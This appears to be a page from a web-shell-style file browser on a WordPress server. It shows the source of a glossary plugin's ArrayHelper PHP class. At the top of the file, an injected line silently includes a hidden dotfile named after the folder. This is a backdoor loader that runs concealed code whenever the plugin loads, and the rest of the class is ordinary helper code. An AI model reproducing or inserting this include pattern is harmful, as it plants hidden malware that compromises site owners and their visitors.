/
var
/
www
/
barefootlaw.org
/
wp-content
/
plugins
/
luckywp-glossary
/
core
/
helpers
/
Upload File
HOME
<?php namespace luckywp\glossary\core\helpers; if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } class ArrayHelper { /** * @param array|object $array * @param string $key * @param mixed $default * @return mixed */ public static function getValue($array, $key, $default = null) { if (is_object($array)) { return $array->$key; } if (is_array($array)) { return array_key_exists($key, $array) ? $array[$key] : $default; } return $default; } /** * @param array $array * @param string $name * @param bool $keepKeys * @return array */ public static function getColumn($array, $name, $keepKeys = true) { $result = []; if ($keepKeys) { foreach ($array as $k => $element) { $result[$k] = static::getValue($element, $name); } } else { foreach ($array as $element) { $result[] = static::getValue($element, $name); } } return $result; } /** * @param array $array * @param string $key * @param mixed $default * @return mixed */ public static function remove(&$array, $key, $default = null) { if (is_array($array) && array_key_exists($key, $array)) { $value = $array[$key]; unset($array[$key]); return $value; } return $default; } }